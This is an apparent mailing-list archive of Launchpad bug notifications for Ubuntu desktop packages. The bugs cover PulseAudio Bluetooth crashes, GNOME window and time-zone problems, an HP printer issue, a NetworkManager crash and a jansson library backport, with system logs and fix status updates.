Michelet, I'm not sure if gnome-shell, mutter or another package is the correct one to file the report against but a good guess is better than leaving this filed against the Ubuntu project in general. I'm moving this to 'gnome-shell' which will being this issue to the attention of Ubuntu's Desktop Team. ** Package changed: ubuntu => gnome-shell (Ubuntu) ** Tags added: jammy -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell in Ubuntu. https://bugs.launchpad.net/bugs/1988576 Title: Maximized window goes behind the launcher Status in gnome-shell package in Ubuntu: New Bug description: Steps to reproduce: Launch Libreoffice Writer Maximize Libreoffice Writer's window Launch Files Maximize Files's window => Your screen is currently like Capture 1 Lock the screen (like shown in Capture 2) Unlock the screen by typing the user's password => In the following, do no release key unless you are told to. Press Alt (without releasing) One second later, press Tab and release Tab One second later, release Alt => Your screen is currently like Capture 3 What I expected to happen: I expected to see LibreOffice Writer's window maximized but not behind the launcher. What happened instead LibreOffice Writer's window is maximized and is behind the launcher. nicolas@nicolas-fixe:~$ lsb_release -rd Description: Ubuntu 22.04.1 LTS Release: 22.04 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1988576/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1988576] [NEW] Maximized window goes behind the launcher
You have been subscribed to a public bug: Steps to reproduce: Launch Libreoffice Writer Maximize Libreoffice Writer's window Launch Files Maximize Files's window => Your screen is currently like Capture 1 Lock the screen (like shown in Capture 2) Unlock the screen by typing the user's password => In the following, do no release key unless you are told to. Press Alt (without releasing) One second later, press Tab and release Tab One second later, release Alt => Your screen is currently like Capture 3 What I expected to happen: I expected to see LibreOffice Writer's window maximized but not behind the launcher. What happened instead LibreOffice Writer's window is maximized and is behind the launcher. nicolas@nicolas-fixe:~$ lsb_release -rd Description:Ubuntu 22.04.1 LTS Release:22.04 ** Affects: gnome-shell (Ubuntu) Importance: Undecided Status: New ** Tags: bot-comment -- Maximized window goes behind the launcher https://bugs.launchpad.net/bugs/1988576 You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell in Ubuntu. -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1971632] Re: Kubuntu 22.04, Bluetooth Headphones connect automatically, then immediately disconnect; pulseautio crashes every time
And I cherrypicked the fixes for a SRU to 22.04 now -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1971632 Title: Kubuntu 22.04, Bluetooth Headphones connect automatically, then immediately disconnect; pulseautio crashes every time Status in pulseaudio package in Ubuntu: Fix Released Bug description: * Impact On a fresh install of Kubuntu 22.04, when I turn my properly paired bluetooth headphones on they automatically connect to the system, then immediately disconnect again. The headphones thus have to be manually 're-connected' every time. * Test case Connect a bluetooth headset to the computer, try to change the active profile. The selection should be reflected and the quality match, the pairing and service should be stable * Regression potential The changes are in the bluetooth a2dp/sbc functions so any potential regression would impact the connectivity with bluetooth devices using an a2dp profile (aptX, SBC, AAC). Check with different devices using the previously listed profiles. Best as I understand it from the logs (appended below), pulseaudio showing up killed just after the headphones turn up as an unregistered sender ... 4/30/22 7:33 PM systemd pulseaudio.service: Main process exited, code=killed, status=8/FPE ... is responsible for the observed problem, i.e. the disconnect, probably triggered when pulseaudio restarts ... 4/30/22 7:33 PM systemd pulseaudio.service: Scheduled restart job, restart counter is at 2. So it seems either an internal pulseaudio problem, or a problem triggered by the division by 0 in the bluetooth module ... 4/30/22 7:33 PM kernel traps: bluetooth[8884] trap divide error ip:7f862dc68490 sp:7f862498cc30 error:0 in module-bluez5-device.so[7f862dc66000+9000] or some combination of the two ... but again, I'm only guessing here. ___ System Logs after switching headphones on: 4/30/22 7:33 PM kernel input: Nat's Flex (AVRCP) as /devices/virtual/input/input31 4/30/22 7:33 PM systemd-logind Watching system buttons on /dev/input/event19 (Nat's Flex (AVRCP)) 4/30/22 7:33 PM bluetoothd /org/bluez/hci0/dev_A8_91_3D_DF_A8_F4/fd3: fd(43) ready 4/30/22 7:33 PM rtkit-daemonSupervising 0 threads of 0 processes of 0 users. 4/30/22 7:33 PM rtkit-daemonSuccessfully made thread 8884 of process 3426 owned by '1000' RT at priority 5. 4/30/22 7:33 PM rtkit-daemonSupervising 1 threads of 1 processes of 1 users. 4/30/22 7:33 PM kernel traps: bluetooth[8884] trap divide error ip:7f862dc68490 sp:7f862498cc30 error:0 in module-bluez5-device.so[7f862dc66000+9000] 4/30/22 7:33 PM bluetoothd Endpoint unregistered: sender=:1.126 path=/MediaEndpoint/A2DPSink/sbc 4/30/22 7:33 PM bluetoothd Endpoint unregistered: sender=:1.126 path=/MediaEndpoint/A2DPSource/sbc 4/30/22 7:33 PM bluetoothd Endpoint unregistered: sender=:1.126 path=/MediaEndpoint/A2DPSink/sbc_xq_453 4/30/22 7:33 PM bluetoothd Endpoint unregistered: sender=:1.126 path=/MediaEndpoint/A2DPSource/sbc_xq_453 4/30/22 7:33 PM bluetoothd Endpoint unregistered: sender=:1.126 path=/MediaEndpoint/A2DPSink/sbc_xq_512 4/30/22 7:33 PM bluetoothd Endpoint unregistered: sender=:1.126 path=/MediaEndpoint/A2DPSource/sbc_xq_512 4/30/22 7:33 PM bluetoothd Endpoint unregistered: sender=:1.126 path=/MediaEndpoint/A2DPSink/sbc_xq_552 4/30/22 7:33 PM systemd pulseaudio.service: Main process exited, code=killed, status=8/FPE 4/30/22 7:33 PM bluetoothd Endpoint unregistered: sender=:1.126 path=/MediaEndpoint/A2DPSource/sbc_xq_552 4/30/22 7:33 PM systemd pulseaudio.service: Failed with result 'signal'. 4/30/22 7:33 PM systemd pulseaudio.service: Consumed 2min 20.027s CPU time. 4/30/22 7:33 PM acpid input device has been disconnected, fd 20 4/30/22 7:33 PM systemd pulseaudio.service: Scheduled restart job, restart counter is at 2. 4/30/22 7:33 PM systemd Stopped Sound Service. 4/30/22 7:33 PM systemd pulseaudio.service: Consumed 2min 20.027s CPU time. 4/30/22 7:33 PM systemd Starting Sound Service... 4/30/22 7:33 PM rtkit-daemonSuccessfully made thread 8889 of process 8889 owned by '1000' high priority at nice level -11. 4/30/22 7:33 PM rtkit-daemonSupervising 1 threads of 1 processes of 1 users. 4/30/22 7:33 PM pulseaudio Stale PID file, overwriting. 4/30/22 7:33 PM rtkit-daemonSupervising 1 threads of 1 processes of 1 users. 4/30/22 7:33 PM rtkit-daemonSuccessfully made thread 8890 of process 8889 owned by
[Desktop-packages] [Bug 1971632] Re: Kubuntu 22.04, Bluetooth Headphones connect automatically, then immediately disconnect; pulseautio crashes every time
The is in pulseaudio 16.0+ which is in kinetic ** Changed in: pulseaudio (Ubuntu) Importance: Undecided => High ** Changed in: pulseaudio (Ubuntu) Status: Confirmed => Fix Released ** Description changed: + * Impact + On a fresh install of Kubuntu 22.04, when I turn my properly paired bluetooth headphones on they automatically connect to the system, then immediately disconnect again. The headphones thus have to be manually 're-connected' every time. + + * Test case + + Connect a bluetooth headset to the computer, try to change the active + profile. The selection should be reflected and the quality match, the + pairing and service should be stable + + * Regression potential + + The changes are in the bluetooth a2dp/sbc functions so any potential + regression would impact the connectivity with bluetooth devices using an + a2dp profile (aptX, SBC, AAC). Check with different devices using the + previously listed profiles. + + + Best as I understand it from the logs (appended below), pulseaudio showing up killed just after the headphones turn up as an unregistered sender ... 4/30/22 7:33 PM systemd pulseaudio.service: Main process exited, code=killed, status=8/FPE ... is responsible for the observed problem, i.e. the disconnect, probably triggered when pulseaudio restarts ... 4/30/22 7:33 PM systemd pulseaudio.service: Scheduled restart job, restart counter is at 2. So it seems either an internal pulseaudio problem, or a problem triggered by the division by 0 in the bluetooth module ... 4/30/22 7:33 PM kernel traps: bluetooth[8884] trap divide error ip:7f862dc68490 sp:7f862498cc30 error:0 in module-bluez5-device.so[7f862dc66000+9000] or some combination of the two ... but again, I'm only guessing here. ___ System Logs after switching headphones on: 4/30/22 7:33 PM kernel input: Nat's Flex (AVRCP) as /devices/virtual/input/input31 4/30/22 7:33 PM systemd-logind Watching system buttons on /dev/input/event19 (Nat's Flex (AVRCP)) 4/30/22 7:33 PM bluetoothd /org/bluez/hci0/dev_A8_91_3D_DF_A8_F4/fd3: fd(43) ready 4/30/22 7:33 PM rtkit-daemonSupervising 0 threads of 0 processes of 0 users. 4/30/22 7:33 PM rtkit-daemonSuccessfully made thread 8884 of process 3426 owned by '1000' RT at priority 5. 4/30/22 7:33 PM rtkit-daemonSupervising 1 threads of 1 processes of 1 users. 4/30/22 7:33 PM kernel traps: bluetooth[8884] trap divide error ip:7f862dc68490 sp:7f862498cc30 error:0 in module-bluez5-device.so[7f862dc66000+9000] 4/30/22 7:33 PM bluetoothd Endpoint unregistered: sender=:1.126 path=/MediaEndpoint/A2DPSink/sbc 4/30/22 7:33 PM bluetoothd Endpoint unregistered: sender=:1.126 path=/MediaEndpoint/A2DPSource/sbc 4/30/22 7:33 PM bluetoothd Endpoint unregistered: sender=:1.126 path=/MediaEndpoint/A2DPSink/sbc_xq_453 4/30/22 7:33 PM bluetoothd Endpoint unregistered: sender=:1.126 path=/MediaEndpoint/A2DPSource/sbc_xq_453 4/30/22 7:33 PM bluetoothd Endpoint unregistered: sender=:1.126 path=/MediaEndpoint/A2DPSink/sbc_xq_512 4/30/22 7:33 PM bluetoothd Endpoint unregistered: sender=:1.126 path=/MediaEndpoint/A2DPSource/sbc_xq_512 4/30/22 7:33 PM bluetoothd Endpoint unregistered: sender=:1.126 path=/MediaEndpoint/A2DPSink/sbc_xq_552 4/30/22 7:33 PM systemd pulseaudio.service: Main process exited, code=killed, status=8/FPE 4/30/22 7:33 PM bluetoothd Endpoint unregistered: sender=:1.126 path=/MediaEndpoint/A2DPSource/sbc_xq_552 4/30/22 7:33 PM systemd pulseaudio.service: Failed with result 'signal'. 4/30/22 7:33 PM systemd pulseaudio.service: Consumed 2min 20.027s CPU time. 4/30/22 7:33 PM acpid input device has been disconnected, fd 20 4/30/22 7:33 PM systemd pulseaudio.service: Scheduled restart job, restart counter is at 2. 4/30/22 7:33 PM systemd Stopped Sound Service. 4/30/22 7:33 PM systemd pulseaudio.service: Consumed 2min 20.027s CPU time. 4/30/22 7:33 PM systemd Starting Sound Service... 4/30/22 7:33 PM rtkit-daemonSuccessfully made thread 8889 of process 8889 owned by '1000' high priority at nice level -11. 4/30/22 7:33 PM rtkit-daemonSupervising 1 threads of 1 processes of 1 users. 4/30/22 7:33 PM pulseaudio Stale PID file, overwriting. 4/30/22 7:33 PM rtkit-daemonSupervising 1 threads of 1 processes of 1 users. 4/30/22 7:33 PM rtkit-daemonSuccessfully made thread 8890 of process 8889 owned by '1000' RT at priority 5. 4/30/22 7:33 PM rtkit-daemonSupervising 2 threads of 1 processes of 1 users. 4/30/22 7:33 PM rtkit-daemonSupervising 2 threads of 1
[Desktop-packages] [Bug 1987523] Re: Pulsaudio crashes once BT microphone is connected
I've uploaded a SRU now ** Description changed: - When I connect my BT headset with microphone and change profile to HFP, - Pulsaudio crashes, sometimes even crashing Gnome itself. Syslog reports: + * Impact + When I connect my BT headset with microphone and change profile to HFP, Pulsaudio crashes, sometimes even crashing Gnome itself. + + * Test case + - Connect a bluetooth headset to the computer + - Try to change the profile to HFP from the desktop settings or the pulseaudio cli + + -> the profile should get correctly selected, the service shouldn't + crash + + * Regression potential + + The changes are in the functions handling mSBC packets which handle + bluetooth HFP codecs, so any regression would concern bluetooth devices + using that profile. + + --- + When I connect my BT headset with microphone and change profile to HFP, Pulsaudio crashes, sometimes even crashing Gnome itself. Syslog reports: Aug 24 13:44:20 p14s kernel: [21412.562760] input: Bowers & Wilkins PX (AVRCP) as /devices/virtual/input/input37 Aug 24 13:44:21 p14s pulseaudio[50808]: Battery Level: 80% Aug 24 13:44:21 p14s pulseaudio[50808]: Dock Status: undocked Aug 24 13:44:21 p14s bluetoothd[1070]: sdp_extract_attr: Unknown data descriptor : 0x1 terminating Aug 24 13:44:23 p14s rtkit-daemon[1330]: Supervising 7 threads of 3 processes of 1 users. Aug 24 13:44:23 p14s rtkit-daemon[1330]: Successfully made thread 51716 of process 50808 owned by '1000' RT at priority 5. Aug 24 13:44:23 p14s rtkit-daemon[1330]: Supervising 8 threads of 3 processes of 1 users. Aug 24 13:44:23 p14s gsd-media-keys[50921]: Unable to get default sink Aug 24 13:44:23 p14s gsd-media-keys[50921]: Unable to get default source Aug 24 13:44:23 p14s mattermost-desktop.desktop[51425]: [51425:0824/134423.604313:ERROR:gl_surface_presentation_helper.cc(260)] GetVSyncParametersIfAvailable() failed for 3 times! Aug 24 13:44:23 p14s pulseaudio[50808]: Assertion 'remaining == 0' failed at ../src/modules/bluetooth/bt-codec-msbc.c:287, function decode_buffer(). Aborting. Aug 24 13:44:24 p14s systemd[19059]: Starting Notification regarding a crash report... Aug 24 13:44:24 p14s update-notifier-crash[51723]: /usr/bin/whoopsie Aug 24 13:44:24 p14s systemd[1]: Started crash report submission. Aug 24 13:44:24 p14s whoopsie[51726]: [13:44:24] Using lock path: /var/lock/whoopsie/lock Aug 24 13:44:24 p14s systemd[1]: whoopsie.service: Deactivated successfully. Aug 24 13:44:24 p14s update-notifier-crash[51725]: gnome-shell Aug 24 13:44:24 p14s update-notifier-crash[51725]: apport-gtk I've identified the upstream fix for this: https://gitlab.freedesktop.org/pulseaudio/pulseaudio/-/commit/9916f0eace6ab1825af74a5f9b166918a06ce50e I've built packages with the fix and can confirm that it does solve the problem. Packages are available at: https://launchpad.net/~ivoks/+archive/ubuntu/pulse ** Changed in: pulseaudio (Ubuntu Jammy) Status: New => Fix Committed ** Changed in: pulseaudio (Ubuntu) Assignee: Jorge Merlino (jorge-merlino) => (unassigned) ** Changed in: pulseaudio (Ubuntu Jammy) Assignee: Jorge Merlino (jorge-merlino) => Sebastien Bacher (seb128) -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1987523 Title: Pulsaudio crashes once BT microphone is connected Status in pulseaudio package in Ubuntu: Fix Committed Status in pulseaudio source package in Jammy: Fix Committed Bug description: * Impact When I connect my BT headset with microphone and change profile to HFP, Pulsaudio crashes, sometimes even crashing Gnome itself. * Test case - Connect a bluetooth headset to the computer - Try to change the profile to HFP from the desktop settings or the pulseaudio cli -> the profile should get correctly selected, the service shouldn't crash * Regression potential The changes are in the functions handling mSBC packets which handle bluetooth HFP codecs, so any regression would concern bluetooth devices using that profile. --- When I connect my BT headset with microphone and change profile to HFP, Pulsaudio crashes, sometimes even crashing Gnome itself. Syslog reports: Aug 24 13:44:20 p14s kernel: [21412.562760] input: Bowers & Wilkins PX (AVRCP) as /devices/virtual/input/input37 Aug 24 13:44:21 p14s pulseaudio[50808]: Battery Level: 80% Aug 24 13:44:21 p14s pulseaudio[50808]: Dock Status: undocked Aug 24 13:44:21 p14s bluetoothd[1070]: sdp_extract_attr: Unknown data descriptor : 0x1 terminating Aug 24 13:44:23 p14s rtkit-daemon[1330]: Supervising 7 threads of 3 processes of 1 users. Aug 24 13:44:23 p14s rtkit-daemon[1330]: Successfully made thread 51716 of process 50808 owned by '1000' RT at priority 5. Aug 24 13:44:23 p14s rtkit-daemon[1330]: Supervising 8
[Desktop-packages] [Bug 1988667] Re: Quito isn't displayed as choice for time zone
** Package changed: ubuntu => gnome-control-center (Ubuntu) ** Tags added: focal jammy ** Also affects: systemsettings (Ubuntu) Importance: Undecided Status: New -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-control-center in Ubuntu. https://bugs.launchpad.net/bugs/1988667 Title: Quito isn't displayed as choice for time zone Status in gnome-control-center package in Ubuntu: New Status in systemsettings package in Ubuntu: New Bug description: On Ubuntu 22.04.1 (and 20.04.x) there is no option available for Quito. On GNOME Settings > Date & Time > (A map is displayed) Type Quito on the search field. There are no matches. On KDE == System Settings > Regional Settings > Date & Time > Time Zone When searching for the time zone I enter: Quito There are no matches. The entries for Ecuador are Galapagos Islands and Guayaquil. Quito is the capital city of Ecuador, whereas Guayaquil is the second biggest. It makes no sense for the capital not to be displayed in the city list, but to have the second. It is akin to have Marseille as the main choice for France instead of Paris. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-control-center/+bug/1988667/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1988767] Re: Hp laserjetM1213nfMFP is not working in 20.4 LTS
** Package changed: ubuntu => hplip (Ubuntu) ** Tags added: focal -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to hplip in Ubuntu. https://bugs.launchpad.net/bugs/1988767 Title: Hp laserjetM1213nfMFP is not working in 20.4 LTS Status in HPLIP: New Status in hplip package in Ubuntu: New Bug description: I'm having Hp laserjetM1213nfMFP printer, I used it by installing hplip during 2020, Normally, I do download recommended LTS updates, Now, im facing the problem, HPLIP is asking for some plugin, scanner is also not responding in 20.4 LTS. Please, need some support. Thanks. Karthik To manage notifications about this bug go to: https://bugs.launchpad.net/hplip/+bug/1988767/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1988667] [NEW] Quito isn't displayed as choice for time zone
You have been subscribed to a public bug: On Ubuntu 22.04.1 (and 20.04.x) there is no option available for Quito. On GNOME Settings > Date & Time > (A map is displayed) Type Quito on the search field. There are no matches. On KDE == System Settings > Regional Settings > Date & Time > Time Zone When searching for the time zone I enter: Quito There are no matches. The entries for Ecuador are Galapagos Islands and Guayaquil. Quito is the capital city of Ecuador, whereas Guayaquil is the second biggest. It makes no sense for the capital not to be displayed in the city list, but to have the second. It is akin to have Marseille as the main choice for France instead of Paris. ** Affects: gnome-control-center (Ubuntu) Importance: Undecided Status: New ** Tags: timezone -- Quito isn't displayed as choice for time zone https://bugs.launchpad.net/bugs/1988667 You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-control-center in Ubuntu. -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1988767] [NEW] Hp laserjetM1213nfMFP is not working in 20.4 LTS
You have been subscribed to a public bug: I'm having Hp laserjetM1213nfMFP printer, I used it by installing hplip during 2020, Normally, I do download recommended LTS updates, Now, im facing the problem, HPLIP is asking for some plugin, scanner is also not responding in 20.4 LTS. Please, need some support. Thanks. Karthik ** Affects: hplip Importance: Undecided Status: New ** Affects: hplip (Ubuntu) Importance: Undecided Status: New -- Hp laserjetM1213nfMFP is not working in 20.4 LTS https://bugs.launchpad.net/bugs/1988767 You received this bug notification because you are a member of Desktop Packages, which is subscribed to hplip in Ubuntu. -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1969574] Re: [Wayland] Can not select JetBrains IntelliJ IDEA windows (including Android Studio) with mouse in workspace
** Changed in: gnome-shell Status: Unknown => New -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to mutter in Ubuntu. https://bugs.launchpad.net/bugs/1969574 Title: [Wayland] Can not select JetBrains IntelliJ IDEA windows (including Android Studio) with mouse in workspace Status in GNOME Shell: New Status in mutter package in Ubuntu: Confirmed Bug description: I have 3 apps open in 1 workspace, When i press window key and i want to select app 2 or 3 with mouse, app 1 shows up! I can only go to app 2 with [window + tab] or [alt + tab] ProblemType: Bug DistroRelease: Ubuntu 22.04 Package: gnome-shell 42.0-2ubuntu1 ProcVersionSignature: Ubuntu 5.15.0-25.25-generic 5.15.30 Uname: Linux 5.15.0-25-generic x86_64 ApportVersion: 2.20.11-0ubuntu82 Architecture: amd64 CasperMD5CheckResult: unknown CurrentDesktop: ubuntu:GNOME Date: Wed Apr 20 11:05:02 2022 DisplayManager: gdm3 InstallationDate: Installed on 2021-11-25 (145 days ago) InstallationMedia: Ubuntu 20.04.3 LTS "Focal Fossa" - Release amd64 (20210819) RelatedPackageVersions: mutter-common 42.0-3ubuntu2 SourcePackage: gnome-shell UpgradeStatus: Upgraded to jammy on 2022-04-16 (3 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/gnome-shell/+bug/1969574/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1988644] Re: NetworkManager crashed with SIGABRT in g_assertion_message_expr()
as for now, it happened every time when i toggle 'dark mode' -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to network-manager in Ubuntu. https://bugs.launchpad.net/bugs/1988644 Title: NetworkManager crashed with SIGABRT in g_assertion_message_expr() Status in network-manager package in Ubuntu: Incomplete Bug description: occurred when toggle darkmode ProblemType: Crash DistroRelease: Ubuntu 22.10 Package: network-manager 1.39.90-1ubuntu3 ProcVersionSignature: Ubuntu 5.19.0-15.15-generic 5.19.0 Uname: Linux 5.19.0-15-generic x86_64 ApportVersion: 2.23.0-0ubuntu1 Architecture: amd64 CasperMD5CheckResult: unknown CrashCounter: 1 Date: Fri Sep 2 15:34:33 2022 ExecutablePath: /usr/sbin/NetworkManager InstallationDate: Installed on 2020-06-25 (799 days ago) InstallationMedia: IpRoute: default via 192.168.50.1 dev wlp0s20f3 proto dhcp src 192.168.50.165 metric 20600 169.254.0.0/16 dev wlp0s20f3 scope link metric 1000 192.168.50.0/24 dev wlp0s20f3 proto kernel scope link src 192.168.50.165 metric 600 JournalErrors: -- No entries -- NetworkManager.state: [main] NetworkingEnabled=true WirelessEnabled=true WWANEnabled=true ProcCmdline: /usr/sbin/NetworkManager --no-daemon RebootRequiredPkgs: Error: path contained symlinks. Signal: 6 SourcePackage: network-manager StacktraceTop: ?? () from /lib/x86_64-linux-gnu/libglib-2.0.so.0 g_assertion_message_expr () from /lib/x86_64-linux-gnu/libglib-2.0.so.0 ?? () g_closure_invoke () from /lib/x86_64-linux-gnu/libgobject-2.0.so.0 ?? () from /lib/x86_64-linux-gnu/libgobject-2.0.so.0 Title: NetworkManager crashed with SIGABRT in g_assertion_message_expr() UpgradeStatus: Upgraded to kinetic on 2022-04-25 (131 days ago) UserGroups: N/A nmcli-nm: RUNNING VERSION STATE STARTUP CONNECTIVITY NETWORKING WIFI-HW WIFI WWAN-HW WWAN running 1.39.90 connected started full enabled enabled enabled missing enabled separator: To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/1988644/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1987678] Re: Backport jansson 2.14 to jammy from kinetic
I reviewed the diff between 2.14 in kinetic and this upload (just changelog), and I carefully reviewed the 2.13 + Ubuntu changes to 2.14 + Debian changes diff again; outside of some autotools noise, the changes were carefully adding symbol versioning, a few symbols for new functions, and on the packaging side bumping the generated dependencies – +1, uploaded to -proposed (waiting for SRU team to review) ** Changed in: jansson (Ubuntu) Assignee: (unassigned) => Loïc Minier (lool) ** Changed in: jansson (Ubuntu) Status: New => In Progress -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to jansson in Ubuntu. https://bugs.launchpad.net/bugs/1987678 Title: Backport jansson 2.14 to jammy from kinetic Status in jansson package in Ubuntu: In Progress Bug description: [Impact] * jansson 2.13 has a symbol conflict with json-c library.(https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=966398 & https://github.com/akheron/jansson/issues/523). So an application is linking to both jansson and json-c, there will be 50% of chance that it reference to a wrong symbol, which need to SIGSEGV * In order to fix this issue, both json-c and jansson need to add symbol versioning. jansson library added this in 2.14(not yet in jammy) while json-c added in 0.15 (already in jammy) * And the affecting application should rebuild against the latest json-c and jansson libraries in order to have the correct symbol linked [Test Plan] * jansson is basically available in all of the cpu architecture. So the 1st test will be building in a personal ppa and see if it can be built in every platform. * Some of the library mentioned in the upstream issue checker can be used to verify the fix. But since I am working on a package in a private project which is hitting the issue. I am testing with my private packages(which is on arm64 platform) * Looking into the packages that depends on jansson. There are a large number of packages including network-manager. So I tried to pick 2 packages on my desktop to verify if there is regression 1. network-manager, since it is widely used in Ubuntu 2. emacs, since jansson is a JSON parser, so I pick an application that I can do some operation on JSON(e.g. formatting in emacs) [Where problems could occur] * jansson upstream is well maintained and there is also CI test job. jansson 2.14 is also packaged and maintained by Debian community. It is available for a few months already. So in general, the risk of regression is low in that perspective. * When looking into the changes between 2.13 and 2.14. There are changes in test coverage and some tidy up on the build scripts. The changes look safe but certainly there can be mistake and behaviour changes. But jansson do not depends on other packages and so this kind of regression on build script should be easily caught by test builds in different architecture and a simple integration test with package that depends on jansson. * On the library itself, it added symbol versioning to fix the bug and at the same time there are 3 new API added in 2.14. But these changes should be backward compatible. But since there is new symbols added, there can be new symbol conflict with other library but the impact should just be similar to the original bug that it is already conflict with json-c. There are alos misc fixes in like snprintf checking which looks to be safe. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/jansson/+bug/1987678/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1988991] Re: package sane-utils 1.0.29-0ubuntu5.2 failed to install/upgrade: installed sane-utils package post-installation script subprocess returned error exit status 1
** Tags removed: need-duplicate-check -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to sane-backends in Ubuntu. https://bugs.launchpad.net/bugs/1988991 Title: package sane-utils 1.0.29-0ubuntu5.2 failed to install/upgrade: installed sane-utils package post-installation script subprocess returned error exit status 1 Status in sane-backends package in Ubuntu: New Bug description: Encountered this bug while attempting upgrade from Ubuntu 18.04 to Ubuntu 20.04 (sudo do-release-upgrade). ProblemType: Package DistroRelease: Ubuntu 20.04 Package: sane-utils 1.0.29-0ubuntu5.2 ProcVersionSignature: Ubuntu 4.15.0-192.203-generic 4.15.18 Uname: Linux 4.15.0-192-generic x86_64 NonfreeKernelModules: nvidia_uvm nvidia_drm nvidia_modeset nvidia ApportVersion: 2.20.11-0ubuntu27.24 Architecture: amd64 CasperMD5CheckResult: skip Date: Wed Sep 7 07:42:48 2022 ErrorMessage: installed sane-utils package post-installation script subprocess returned error exit status 1 Python3Details: /usr/bin/python3.8, Python 3.8.10, python3-minimal, 3.8.2-0ubuntu2 PythonDetails: /usr/bin/python2.7, Python 2.7.18, python-is-python2, 2.7.17-4 RelatedPackageVersions: dpkg 1.19.7ubuntu3.2 apt 2.0.9 SourcePackage: sane-backends Title: package sane-utils 1.0.29-0ubuntu5.2 failed to install/upgrade: installed sane-utils package post-installation script subprocess returned error exit status 1 UpgradeStatus: Upgraded to focal on 2022-09-07 (0 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/sane-backends/+bug/1988991/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1988991] [NEW] package sane-utils 1.0.29-0ubuntu5.2 failed to install/upgrade: installed sane-utils package post-installation script subprocess returned error exit status 1
Public bug reported: Encountered this bug while attempting upgrade from Ubuntu 18.04 to Ubuntu 20.04 (sudo do-release-upgrade). ProblemType: Package DistroRelease: Ubuntu 20.04 Package: sane-utils 1.0.29-0ubuntu5.2 ProcVersionSignature: Ubuntu 4.15.0-192.203-generic 4.15.18 Uname: Linux 4.15.0-192-generic x86_64 NonfreeKernelModules: nvidia_uvm nvidia_drm nvidia_modeset nvidia ApportVersion: 2.20.11-0ubuntu27.24 Architecture: amd64 CasperMD5CheckResult: skip Date: Wed Sep 7 07:42:48 2022 ErrorMessage: installed sane-utils package post-installation script subprocess returned error exit status 1 Python3Details: /usr/bin/python3.8, Python 3.8.10, python3-minimal, 3.8.2-0ubuntu2 PythonDetails: /usr/bin/python2.7, Python 2.7.18, python-is-python2, 2.7.17-4 RelatedPackageVersions: dpkg 1.19.7ubuntu3.2 apt 2.0.9 SourcePackage: sane-backends Title: package sane-utils 1.0.29-0ubuntu5.2 failed to install/upgrade: installed sane-utils package post-installation script subprocess returned error exit status 1 UpgradeStatus: Upgraded to focal on 2022-09-07 (0 days ago) ** Affects: sane-backends (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-package focal -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to sane-backends in Ubuntu. https://bugs.launchpad.net/bugs/1988991 Title: package sane-utils 1.0.29-0ubuntu5.2 failed to install/upgrade: installed sane-utils package post-installation script subprocess returned error exit status 1 Status in sane-backends package in Ubuntu: New Bug description: Encountered this bug while attempting upgrade from Ubuntu 18.04 to Ubuntu 20.04 (sudo do-release-upgrade). ProblemType: Package DistroRelease: Ubuntu 20.04 Package: sane-utils 1.0.29-0ubuntu5.2 ProcVersionSignature: Ubuntu 4.15.0-192.203-generic 4.15.18 Uname: Linux 4.15.0-192-generic x86_64 NonfreeKernelModules: nvidia_uvm nvidia_drm nvidia_modeset nvidia ApportVersion: 2.20.11-0ubuntu27.24 Architecture: amd64 CasperMD5CheckResult: skip Date: Wed Sep 